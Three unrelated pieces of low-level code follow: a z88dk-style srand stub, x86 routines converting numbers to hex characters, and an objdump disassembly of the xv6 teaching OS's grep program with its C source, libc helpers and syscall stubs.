; void srand(unsigned int seed) SECTION code_clib SECTION code_stdlib PUBLIC srand EXTERN asm_srand defc srand = asm_srand ; SDCC bridge for Classic IF __CLASSIC PUBLIC _srand defc _srand = srand ENDIF
; IN = AL: Number to write ; OUT = AL: As a character kernel_string_convert_1hex: and al, 0xF ; Mask out higher nibble push ax sub al, 0x9 jng .number .notnumber: ; A-F pop ax ; ascii 41 = A sub al, 0xA add al, "A" jmp .done .number: pop ax add al, "0" .done: ret ; IN = AL: Number to write ; OUT = AX: As two characters kernel_string_convert_2hex: push edx push eax mov edx, 0 call kernel_string_convert_1hex or dl, al pop eax shr eax, 4 call kernel_string_convert_1hex shl edx, 8 or dl, al mov eax, edx pop edx ret ; IN = AX: Number to write ; OUT = EAX: As four characters kernel_string_convert_4hex: push edx push eax mov edx, 0 call kernel_string_convert_2hex or dx, ax pop eax shr eax, 8 call kernel_string_convert_2hex shl edx, 16 or dx, ax mov eax, edx pop edx ret
_grep: file format elf32-i386 Disassembly of section .text: 00000000 <main>: } } int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 57 push %edi e: 56 push %esi f: 53 push %ebx 10: 51 push %ecx 11: 83 ec 18 sub $0x18,%esp 14: 8b 39 mov (%ecx),%edi 16: 8b 59 04 mov 0x4(%ecx),%ebx int fd, i; char *pattern; if(argc <= 1){ 19: 83 ff 01 cmp $0x1,%edi 1c: 7e 7c jle 9a <main+0x9a> printf(2, "usage: grep pattern [file ...]\n"); exit(); } pattern = argv[1]; 1e: 8b 43 04 mov 0x4(%ebx),%eax 21: 83 c3 08 add $0x8,%ebx if(argc <= 2){ 24: 83 ff 02 cmp $0x2,%edi grep(pattern, 0); exit(); } for(i = 2; i < argc; i++){ 27: be 02 00 00 00 mov $0x2,%esi pattern = argv[1]; 2c: 89 45 e0 mov %eax,-0x20(%ebp) if(argc <= 2){ 2f: 74 46 je 77 <main+0x77> 31: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if((fd = open(argv[i], 0)) < 0){ 38: 83 ec 08 sub $0x8,%esp 3b: 6a 00 push $0x0 3d: ff 33 pushl (%ebx) 3f: e8 7e 05 00 00 call 5c2 <open> 44: 83 c4 10 add $0x10,%esp 47: 85 c0 test %eax,%eax 49: 78 3b js 86 <main+0x86> printf(1, "grep: cannot open %s\n", argv[i]); exit(); } grep(pattern, fd); 4b: 83 ec 08 sub $0x8,%esp 4e: 89 45 e4 mov %eax,-0x1c(%ebp) for(i = 2; i < argc; i++){ 51: 83 c6 01 add $0x1,%esi grep(pattern, fd); 54: 50 push %eax 55: ff 75 e0 pushl -0x20(%ebp) 58: 83 c3 04 add $0x4,%ebx 5b: e8 d0 01 00 00 call 230 <grep> close(fd); 60: 8b 45 e4 mov -0x1c(%ebp),%eax 63: 89 04 24 mov %eax,(%esp) 66: e8 3f 05 00 00 call 5aa <close> for(i = 2; i < argc; i++){ 6b: 83 c4 10 add $0x10,%esp 6e: 39 f7 cmp %esi,%edi 70: 7f c6 jg 38 <main+0x38> } exit(); 72: e8 0b 05 00 00 call 582 <exit> grep(pattern, 0); 77: 52 push %edx 78: 52 push %edx 79: 6a 00 push $0x0 7b: 50 push %eax 7c: e8 af 01 00 00 call 230 <grep> exit(); 81: e8 fc 04 00 00 call 582 <exit> printf(1, "grep: cannot open %s\n", argv[i]); 86: 50 push %eax 87: ff 33 pushl (%ebx) 89: 68 68 0a 00 00 push $0xa68 8e: 6a 01 push $0x1 90: e8 5b 06 00 00 call 6f0 <printf> exit(); 95: e8 e8 04 00 00 call 582 <exit> printf(2, "usage: grep pattern [file ...]\n"); 9a: 51 push %ecx 9b: 51 push %ecx 9c: 68 48 0a 00 00 push $0xa48 a1: 6a 02 push $0x2 a3: e8 48 06 00 00 call 6f0 <printf> exit(); a8: e8 d5 04 00 00 call 582 <exit> ad: 66 90 xchg %ax,%ax af: 90 nop 000000b0 <matchstar>: return 0; } // matchstar: search for c*re at beginning of text int matchstar(int c, char *re, char *text) { b0: 55 push %ebp b1: 89 e5 mov %esp,%ebp b3: 57 push %edi b4: 56 push %esi b5: 53 push %ebx b6: 83 ec 0c sub $0xc,%esp b9: 8b 5d 08 mov 0x8(%ebp),%ebx bc: 8b 75 0c mov 0xc(%ebp),%esi bf: 8b 7d 10 mov 0x10(%ebp),%edi c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi do{ // a * matches zero or more instances if(matchhere(re, text)) c8: 83 ec 08 sub $0x8,%esp cb: 57 push %edi cc: 56 push %esi cd: e8 3e 00 00 00 call 110 <matchhere> d2: 83 c4 10 add $0x10,%esp d5: 85 c0 test %eax,%eax d7: 75 1f jne f8 <matchstar+0x48> return 1; }while(*text!='\0' && (*text++==c || c=='.')); d9: 0f be 17 movsbl (%edi),%edx dc: 84 d2 test %dl,%dl de: 74 0c je ec <matchstar+0x3c> e0: 83 c7 01 add $0x1,%edi e3: 39 da cmp %ebx,%edx e5: 74 e1 je c8 <matchstar+0x18> e7: 83 fb 2e cmp $0x2e,%ebx ea: 74 dc je c8 <matchstar+0x18> return 0; } ec: 8d 65 f4 lea -0xc(%ebp),%esp ef: 5b pop %ebx f0: 5e pop %esi f1: 5f pop %edi f2: 5d pop %ebp f3: c3 ret f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi f8: 8d 65 f4 lea -0xc(%ebp),%esp return 1; fb: b8 01 00 00 00 mov $0x1,%eax } 100: 5b pop %ebx 101: 5e pop %esi 102: 5f pop %edi 103: 5d pop %ebp 104: c3 ret 105: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 109: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000110 <matchhere>: { 110: 55 push %ebp 111: 89 e5 mov %esp,%ebp 113: 57 push %edi 114: 56 push %esi 115: 53 push %ebx 116: 83 ec 0c sub $0xc,%esp if(re[0] == '\0') 119: 8b 45 08 mov 0x8(%ebp),%eax { 11c: 8b 7d 0c mov 0xc(%ebp),%edi if(re[0] == '\0') 11f: 0f b6 08 movzbl (%eax),%ecx 122: 84 c9 test %cl,%cl 124: 74 67 je 18d <matchhere+0x7d> if(re[1] == '*') 126: 0f be 40 01 movsbl 0x1(%eax),%eax 12a: 3c 2a cmp $0x2a,%al 12c: 74 6c je 19a <matchhere+0x8a> if(re[0] == '$' && re[1] == '\0') 12e: 80 f9 24 cmp $0x24,%cl 131: 0f b6 1f movzbl (%edi),%ebx 134: 75 08 jne 13e <matchhere+0x2e> 136: 84 c0 test %al,%al 138: 0f 84 81 00 00 00 je 1bf <matchhere+0xaf> if(*text!='\0' && (re[0]=='.' || re[0]==*text)) 13e: 84 db test %bl,%bl 140: 74 09 je 14b <matchhere+0x3b> 142: 38 d9 cmp %bl,%cl 144: 74 3c je 182 <matchhere+0x72> 146: 80 f9 2e cmp $0x2e,%cl 149: 74 37 je 182 <matchhere+0x72> } 14b: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 14e: 31 c0 xor %eax,%eax } 150: 5b pop %ebx 151: 5e pop %esi 152: 5f pop %edi 153: 5d pop %ebp 154: c3 ret 155: 8d 76 00 lea 0x0(%esi),%esi if(re[1] == '*') 158: 8b 75 08 mov 0x8(%ebp),%esi 15b: 0f b6 4e 01 movzbl 0x1(%esi),%ecx 15f: 80 f9 2a cmp $0x2a,%cl 162: 74 3b je 19f <matchhere+0x8f> if(re[0] == '$' && re[1] == '\0') 164: 3c 24 cmp $0x24,%al 166: 75 04 jne 16c <matchhere+0x5c> 168: 84 c9 test %cl,%cl 16a: 74 4f je 1bb <matchhere+0xab> if(*text!='\0' && (re[0]=='.' || re[0]==*text)) 16c: 0f b6 33 movzbl (%ebx),%esi 16f: 89 f2 mov %esi,%edx 171: 84 d2 test %dl,%dl 173: 74 d6 je 14b <matchhere+0x3b> 175: 3c 2e cmp $0x2e,%al 177: 89 df mov %ebx,%edi 179: 74 04 je 17f <matchhere+0x6f> 17b: 38 c2 cmp %al,%dl 17d: 75 cc jne 14b <matchhere+0x3b> 17f: 0f be c1 movsbl %cl,%eax return matchhere(re+1, text+1); 182: 83 45 08 01 addl $0x1,0x8(%ebp) if(re[0] == '\0') 186: 84 c0 test %al,%al return matchhere(re+1, text+1); 188: 8d 5f 01 lea 0x1(%edi),%ebx if(re[0] == '\0') 18b: 75 cb jne 158 <matchhere+0x48> return 1; 18d: b8 01 00 00 00 mov $0x1,%eax } 192: 8d 65 f4 lea -0xc(%ebp),%esp 195: 5b pop %ebx 196: 5e pop %esi 197: 5f pop %edi 198: 5d pop %ebp 199: c3 ret if(re[1] == '*') 19a: 89 fb mov %edi,%ebx 19c: 0f be c1 movsbl %cl,%eax return matchstar(re[0], re+2, text); 19f: 8b 7d 08 mov 0x8(%ebp),%edi 1a2: 83 ec 04 sub $0x4,%esp 1a5: 53 push %ebx 1a6: 8d 57 02 lea 0x2(%edi),%edx 1a9: 52 push %edx 1aa: 50 push %eax 1ab: e8 00 ff ff ff call b0 <matchstar> 1b0: 83 c4 10 add $0x10,%esp } 1b3: 8d 65 f4 lea -0xc(%ebp),%esp 1b6: 5b pop %ebx 1b7: 5e pop %esi 1b8: 5f pop %edi 1b9: 5d pop %ebp 1ba: c3 ret 1bb: 0f b6 5f 01 movzbl 0x1(%edi),%ebx return *text == '\0'; 1bf: 31 c0 xor %eax,%eax 1c1: 84 db test %bl,%bl 1c3: 0f 94 c0 sete %al 1c6: eb ca jmp 192 <matchhere+0x82> 1c8: 90 nop 1c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000001d0 <match>: { 1d0: 55 push %ebp 1d1: 89 e5 mov %esp,%ebp 1d3: 56 push %esi 1d4: 53 push %ebx 1d5: 8b 75 08 mov 0x8(%ebp),%esi 1d8: 8b 5d 0c mov 0xc(%ebp),%ebx if(re[0] == '^') 1db: 80 3e 5e cmpb $0x5e,(%esi) 1de: 75 11 jne 1f1 <match+0x21> 1e0: eb 2e jmp 210 <match+0x40> 1e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi }while(*text++ != '\0'); 1e8: 83 c3 01 add $0x1,%ebx 1eb: 80 7b ff 00 cmpb $0x0,-0x1(%ebx) 1ef: 74 16 je 207 <match+0x37> if(matchhere(re, text)) 1f1: 83 ec 08 sub $0x8,%esp 1f4: 53 push %ebx 1f5: 56 push %esi 1f6: e8 15 ff ff ff call 110 <matchhere> 1fb: 83 c4 10 add $0x10,%esp 1fe: 85 c0 test %eax,%eax 200: 74 e6 je 1e8 <match+0x18> return 1; 202: b8 01 00 00 00 mov $0x1,%eax } 207: 8d 65 f8 lea -0x8(%ebp),%esp 20a: 5b pop %ebx 20b: 5e pop %esi 20c: 5d pop %ebp 20d: c3 ret 20e: 66 90 xchg %ax,%ax return matchhere(re+1, text); 210: 83 c6 01 add $0x1,%esi 213: 89 75 08 mov %esi,0x8(%ebp) } 216: 8d 65 f8 lea -0x8(%ebp),%esp 219: 5b pop %ebx 21a: 5e pop %esi 21b: 5d pop %ebp return matchhere(re+1, text); 21c: e9 ef fe ff ff jmp 110 <matchhere> 221: eb 0d jmp 230 <grep> 223: 90 nop 224: 90 nop 225: 90 nop 226: 90 nop 227: 90 nop 228: 90 nop 229: 90 nop 22a: 90 nop 22b: 90 nop 22c: 90 nop 22d: 90 nop 22e: 90 nop 22f: 90 nop 00000230 <grep>: { 230: 55 push %ebp 231: 89 e5 mov %esp,%ebp 233: 57 push %edi 234: 56 push %esi 235: 53 push %ebx m = 0; 236: 31 f6 xor %esi,%esi { 238: 83 ec 1c sub $0x1c,%esp 23b: 90 nop 23c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){ 240: b8 ff 03 00 00 mov $0x3ff,%eax 245: 83 ec 04 sub $0x4,%esp 248: 29 f0 sub %esi,%eax 24a: 50 push %eax 24b: 8d 86 40 0e 00 00 lea 0xe40(%esi),%eax 251: 50 push %eax 252: ff 75 0c pushl 0xc(%ebp) 255: e8 40 03 00 00 call 59a <read> 25a: 83 c4 10 add $0x10,%esp 25d: 85 c0 test %eax,%eax 25f: 0f 8e bb 00 00 00 jle 320 <grep+0xf0> m += n; 265: 01 c6 add %eax,%esi p = buf; 267: bb 40 0e 00 00 mov $0xe40,%ebx buf[m] = '\0'; 26c: c6 86 40 0e 00 00 00 movb $0x0,0xe40(%esi) 273: 89 75 e4 mov %esi,-0x1c(%ebp) 276: 8d 76 00 lea 0x0(%esi),%esi 279: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi while((q = strchr(p, '\n')) != 0){ 280: 83 ec 08 sub $0x8,%esp 283: 6a 0a push $0xa 285: 53 push %ebx 286: e8 75 01 00 00 call 400 <strchr> 28b: 83 c4 10 add $0x10,%esp 28e: 85 c0 test %eax,%eax 290: 89 c6 mov %eax,%esi 292: 74 44 je 2d8 <grep+0xa8> if(match(pattern, p)){ 294: 83 ec 08 sub $0x8,%esp *q = 0; 297: c6 06 00 movb $0x0,(%esi) 29a: 8d 7e 01 lea 0x1(%esi),%edi if(match(pattern, p)){ 29d: 53 push %ebx 29e: ff 75 08 pushl 0x8(%ebp) 2a1: e8 2a ff ff ff call 1d0 <match> 2a6: 83 c4 10 add $0x10,%esp 2a9: 85 c0 test %eax,%eax 2ab: 75 0b jne 2b8 <grep+0x88> p = q+1; 2ad: 89 fb mov %edi,%ebx 2af: eb cf jmp 280 <grep+0x50> 2b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi write(1, p, q+1 - p); 2b8: 89 f8 mov %edi,%eax 2ba: 83 ec 04 sub $0x4,%esp *q = '\n'; 2bd: c6 06 0a movb $0xa,(%esi) write(1, p, q+1 - p); 2c0: 29 d8 sub %ebx,%eax 2c2: 50 push %eax 2c3: 53 push %ebx p = q+1; 2c4: 89 fb mov %edi,%ebx write(1, p, q+1 - p); 2c6: 6a 01 push $0x1 2c8: e8 d5 02 00 00 call 5a2 <write> 2cd: 83 c4 10 add $0x10,%esp 2d0: eb ae jmp 280 <grep+0x50> 2d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(p == buf) 2d8: 81 fb 40 0e 00 00 cmp $0xe40,%ebx 2de: 8b 75 e4 mov -0x1c(%ebp),%esi 2e1: 74 2d je 310 <grep+0xe0> if(m > 0){ 2e3: 85 f6 test %esi,%esi 2e5: 0f 8e 55 ff ff ff jle 240 <grep+0x10> m -= p - buf; 2eb: 89 d8 mov %ebx,%eax memmove(buf, p, m); 2ed: 83 ec 04 sub $0x4,%esp m -= p - buf; 2f0: 2d 40 0e 00 00 sub $0xe40,%eax 2f5: 29 c6 sub %eax,%esi memmove(buf, p, m); 2f7: 56 push %esi 2f8: 53 push %ebx 2f9: 68 40 0e 00 00 push $0xe40 2fe: e8 4d 02 00 00 call 550 <memmove> 303: 83 c4 10 add $0x10,%esp 306: e9 35 ff ff ff jmp 240 <grep+0x10> 30b: 90 nop 30c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi m = 0; 310: 31 f6 xor %esi,%esi 312: e9 29 ff ff ff jmp 240 <grep+0x10> 317: 89 f6 mov %esi,%esi 319: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi } 320: 8d 65 f4 lea -0xc(%ebp),%esp 323: 5b pop %ebx 324: 5e pop %esi 325: 5f pop %edi 326: 5d pop %ebp 327: c3 ret 328: 66 90 xchg %ax,%ax 32a: 66 90 xchg %ax,%ax 32c: 66 90 xchg %ax,%ax 32e: 66 90 xchg %ax,%ax 00000330 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 330: 55 push %ebp 331: 89 e5 mov %esp,%ebp 333: 53 push %ebx 334: 8b 45 08 mov 0x8(%ebp),%eax 337: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 33a: 89 c2 mov %eax,%edx 33c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 340: 83 c1 01 add $0x1,%ecx 343: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 347: 83 c2 01 add $0x1,%edx 34a: 84 db test %bl,%bl 34c: 88 5a ff mov %bl,-0x1(%edx) 34f: 75 ef jne 340 <strcpy+0x10> ; return os; } 351: 5b pop %ebx 352: 5d pop %ebp 353: c3 ret 354: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 35a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000360 <strcmp>: int strcmp(const char *p, const char *q) { 360: 55 push %ebp 361: 89 e5 mov %esp,%ebp 363: 53 push %ebx 364: 8b 55 08 mov 0x8(%ebp),%edx 367: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 36a: 0f b6 02 movzbl (%edx),%eax 36d: 0f b6 19 movzbl (%ecx),%ebx 370: 84 c0 test %al,%al 372: 75 1c jne 390 <strcmp+0x30> 374: eb 2a jmp 3a0 <strcmp+0x40> 376: 8d 76 00 lea 0x0(%esi),%esi 379: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 380: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 383: 0f b6 02 movzbl (%edx),%eax p++, q++; 386: 83 c1 01 add $0x1,%ecx 389: 0f b6 19 movzbl (%ecx),%ebx while(*p && *p == *q) 38c: 84 c0 test %al,%al 38e: 74 10 je 3a0 <strcmp+0x40> 390: 38 d8 cmp %bl,%al 392: 74 ec je 380 <strcmp+0x20> return (uchar)*p - (uchar)*q; 394: 29 d8 sub %ebx,%eax } 396: 5b pop %ebx 397: 5d pop %ebp 398: c3 ret 399: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 3a0: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 3a2: 29 d8 sub %ebx,%eax } 3a4: 5b pop %ebx 3a5: 5d pop %ebp 3a6: c3 ret 3a7: 89 f6 mov %esi,%esi 3a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000003b0 <strlen>: uint strlen(const char *s) { 3b0: 55 push %ebp 3b1: 89 e5 mov %esp,%ebp 3b3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 3b6: 80 39 00 cmpb $0x0,(%ecx) 3b9: 74 15 je 3d0 <strlen+0x20> 3bb: 31 d2 xor %edx,%edx 3bd: 8d 76 00 lea 0x0(%esi),%esi 3c0: 83 c2 01 add $0x1,%edx 3c3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 3c7: 89 d0 mov %edx,%eax 3c9: 75 f5 jne 3c0 <strlen+0x10> ; return n; } 3cb: 5d pop %ebp 3cc: c3 ret 3cd: 8d 76 00 lea 0x0(%esi),%esi for(n = 0; s[n]; n++) 3d0: 31 c0 xor %eax,%eax } 3d2: 5d pop %ebp 3d3: c3 ret 3d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 3da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000003e0 <memset>: void* memset(void *dst, int c, uint n) { 3e0: 55 push %ebp 3e1: 89 e5 mov %esp,%ebp 3e3: 57 push %edi 3e4: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 3e7: 8b 4d 10 mov 0x10(%ebp),%ecx 3ea: 8b 45 0c mov 0xc(%ebp),%eax 3ed: 89 d7 mov %edx,%edi 3ef: fc cld 3f0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 3f2: 89 d0 mov %edx,%eax 3f4: 5f pop %edi 3f5: 5d pop %ebp 3f6: c3 ret 3f7: 89 f6 mov %esi,%esi 3f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000400 <strchr>: char* strchr(const char *s, char c) { 400: 55 push %ebp 401: 89 e5 mov %esp,%ebp 403: 53 push %ebx 404: 8b 45 08 mov 0x8(%ebp),%eax 407: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 40a: 0f b6 10 movzbl (%eax),%edx 40d: 84 d2 test %dl,%dl 40f: 74 1d je 42e <strchr+0x2e> if(*s == c) 411: 38 d3 cmp %dl,%bl 413: 89 d9 mov %ebx,%ecx 415: 75 0d jne 424 <strchr+0x24> 417: eb 17 jmp 430 <strchr+0x30> 419: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 420: 38 ca cmp %cl,%dl 422: 74 0c je 430 <strchr+0x30> for(; *s; s++) 424: 83 c0 01 add $0x1,%eax 427: 0f b6 10 movzbl (%eax),%edx 42a: 84 d2 test %dl,%dl 42c: 75 f2 jne 420 <strchr+0x20> return (char*)s; return 0; 42e: 31 c0 xor %eax,%eax } 430: 5b pop %ebx 431: 5d pop %ebp 432: c3 ret 433: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 439: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000440 <gets>: char* gets(char *buf, int max) { 440: 55 push %ebp 441: 89 e5 mov %esp,%ebp 443: 57 push %edi 444: 56 push %esi 445: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 446: 31 f6 xor %esi,%esi 448: 89 f3 mov %esi,%ebx { 44a: 83 ec 1c sub $0x1c,%esp 44d: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 450: eb 2f jmp 481 <gets+0x41> 452: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 458: 8d 45 e7 lea -0x19(%ebp),%eax 45b: 83 ec 04 sub $0x4,%esp 45e: 6a 01 push $0x1 460: 50 push %eax 461: 6a 00 push $0x0 463: e8 32 01 00 00 call 59a <read> if(cc < 1) 468: 83 c4 10 add $0x10,%esp 46b: 85 c0 test %eax,%eax 46d: 7e 1c jle 48b <gets+0x4b> break; buf[i++] = c; 46f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 473: 83 c7 01 add $0x1,%edi 476: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 479: 3c 0a cmp $0xa,%al 47b: 74 23 je 4a0 <gets+0x60> 47d: 3c 0d cmp $0xd,%al 47f: 74 1f je 4a0 <gets+0x60> for(i=0; i+1 < max; ){ 481: 83 c3 01 add $0x1,%ebx 484: 3b 5d 0c cmp 0xc(%ebp),%ebx 487: 89 fe mov %edi,%esi 489: 7c cd jl 458 <gets+0x18> 48b: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 48d: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 490: c6 03 00 movb $0x0,(%ebx) } 493: 8d 65 f4 lea -0xc(%ebp),%esp 496: 5b pop %ebx 497: 5e pop %esi 498: 5f pop %edi 499: 5d pop %ebp 49a: c3 ret 49b: 90 nop 49c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 4a0: 8b 75 08 mov 0x8(%ebp),%esi 4a3: 8b 45 08 mov 0x8(%ebp),%eax 4a6: 01 de add %ebx,%esi 4a8: 89 f3 mov %esi,%ebx buf[i] = '\0'; 4aa: c6 03 00 movb $0x0,(%ebx) } 4ad: 8d 65 f4 lea -0xc(%ebp),%esp 4b0: 5b pop %ebx 4b1: 5e pop %esi 4b2: 5f pop %edi 4b3: 5d pop %ebp 4b4: c3 ret 4b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 4b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000004c0 <stat>: int stat(const char *n, struct stat *st) { 4c0: 55 push %ebp 4c1: 89 e5 mov %esp,%ebp 4c3: 56 push %esi 4c4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 4c5: 83 ec 08 sub $0x8,%esp 4c8: 6a 00 push $0x0 4ca: ff 75 08 pushl 0x8(%ebp) 4cd: e8 f0 00 00 00 call 5c2 <open> if(fd < 0) 4d2: 83 c4 10 add $0x10,%esp 4d5: 85 c0 test %eax,%eax 4d7: 78 27 js 500 <stat+0x40> return -1; r = fstat(fd, st); 4d9: 83 ec 08 sub $0x8,%esp 4dc: ff 75 0c pushl 0xc(%ebp) 4df: 89 c3 mov %eax,%ebx 4e1: 50 push %eax 4e2: e8 f3 00 00 00 call 5da <fstat> close(fd); 4e7: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 4ea: 89 c6 mov %eax,%esi close(fd); 4ec: e8 b9 00 00 00 call 5aa <close> return r; 4f1: 83 c4 10 add $0x10,%esp } 4f4: 8d 65 f8 lea -0x8(%ebp),%esp 4f7: 89 f0 mov %esi,%eax 4f9: 5b pop %ebx 4fa: 5e pop %esi 4fb: 5d pop %ebp 4fc: c3 ret 4fd: 8d 76 00 lea 0x0(%esi),%esi return -1; 500: be ff ff ff ff mov $0xffffffff,%esi 505: eb ed jmp 4f4 <stat+0x34> 507: 89 f6 mov %esi,%esi 509: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000510 <atoi>: int atoi(const char *s) { 510: 55 push %ebp 511: 89 e5 mov %esp,%ebp 513: 53 push %ebx 514: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 517: 0f be 11 movsbl (%ecx),%edx 51a: 8d 42 d0 lea -0x30(%edx),%eax 51d: 3c 09 cmp $0x9,%al n = 0; 51f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 524: 77 1f ja 545 <atoi+0x35> 526: 8d 76 00 lea 0x0(%esi),%esi 529: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 530: 8d 04 80 lea (%eax,%eax,4),%eax 533: 83 c1 01 add $0x1,%ecx 536: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 53a: 0f be 11 movsbl (%ecx),%edx 53d: 8d 5a d0 lea -0x30(%edx),%ebx 540: 80 fb 09 cmp $0x9,%bl 543: 76 eb jbe 530 <atoi+0x20> return n; } 545: 5b pop %ebx 546: 5d pop %ebp 547: c3 ret 548: 90 nop 549: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000550 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 550: 55 push %ebp 551: 89 e5 mov %esp,%ebp 553: 56 push %esi 554: 53 push %ebx 555: 8b 5d 10 mov 0x10(%ebp),%ebx 558: 8b 45 08 mov 0x8(%ebp),%eax 55b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 55e: 85 db test %ebx,%ebx 560: 7e 14 jle 576 <memmove+0x26> 562: 31 d2 xor %edx,%edx 564: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 568: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 56c: 88 0c 10 mov %cl,(%eax,%edx,1) 56f: 83 c2 01 add $0x1,%edx while(n-- > 0) 572: 39 d3 cmp %edx,%ebx 574: 75 f2 jne 568 <memmove+0x18> return vdst; } 576: 5b pop %ebx 577: 5e pop %esi 578: 5d pop %ebp 579: c3 ret 0000057a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 57a: b8 01 00 00 00 mov $0x1,%eax 57f: cd 40 int $0x40 581: c3 ret 00000582 <exit>: SYSCALL(exit) 582: b8 02 00 00 00 mov $0x2,%eax 587: cd 40 int $0x40 589: c3 ret 0000058a <wait>: SYSCALL(wait) 58a: b8 03 00 00 00 mov $0x3,%eax 58f: cd 40 int $0x40 591: c3 ret 00000592 <pipe>: SYSCALL(pipe) 592: b8 04 00 00 00 mov $0x4,%eax 597: cd 40 int $0x40 599: c3 ret 0000059a <read>: SYSCALL(read) 59a: b8 05 00 00 00 mov $0x5,%eax 59f: cd 40 int $0x40 5a1: c3 ret 000005a2 <write>: SYSCALL(write) 5a2: b8 10 00 00 00 mov $0x10,%eax 5a7: cd 40 int $0x40 5a9: c3 ret 000005aa <close>: SYSCALL(close) 5aa: b8 15 00 00 00 mov $0x15,%eax 5af: cd 40 int $0x40 5b1: c3 ret 000005b2 <kill>: SYSCALL(kill) 5b2: b8 06 00 00 00 mov $0x6,%eax 5b7: cd 40 int $0x40 5b9: c3 ret 000005ba <exec>: SYSCALL(exec) 5ba: b8 07 00 00 00 mov $0x7,%eax 5bf: cd 40 int $0x40 5c1: c3 ret 000005c2 <open>: SYSCALL(open) 5c2: b8 0f 00 00 00 mov $0xf,%eax 5c7: cd 40 int $0x40 5c9: c3 ret 000005ca <mknod>: SYSCALL(mknod) 5ca: b8 11 00 00 00 mov $0x11,%eax 5cf: cd 40 int $0x40 5d1: c3 ret 000005d2 <unlink>: SYSCALL(unlink) 5d2: b8 12 00 00 00 mov $0x12,%eax 5d7: cd 40 int $0x40 5d9: c3 ret 000005da <fstat>: SYSCALL(fstat) 5da: b8 08 00 00 00 mov $0x8,%eax 5df: cd 40 int $0x40 5e1: c3 ret 000005e2 <link>: SYSCALL(link) 5e2: b8 13 00 00 00 mov $0x13,%eax 5e7: cd 40 int $0x40 5e9: c3 ret 000005ea <mkdir>: SYSCALL(mkdir) 5ea: b8 14 00 00 00 mov $0x14,%eax 5ef: cd 40 int $0x40 5f1: c3 ret 000005f2 <chdir>: SYSCALL(chdir) 5f2: b8 09 00 00 00 mov $0x9,%eax 5f7: cd 40 int $0x40 5f9: c3 ret 000005fa <dup>: SYSCALL(dup) 5fa: b8 0a 00 00 00 mov $0xa,%eax 5ff: cd 40 int $0x40 601: c3 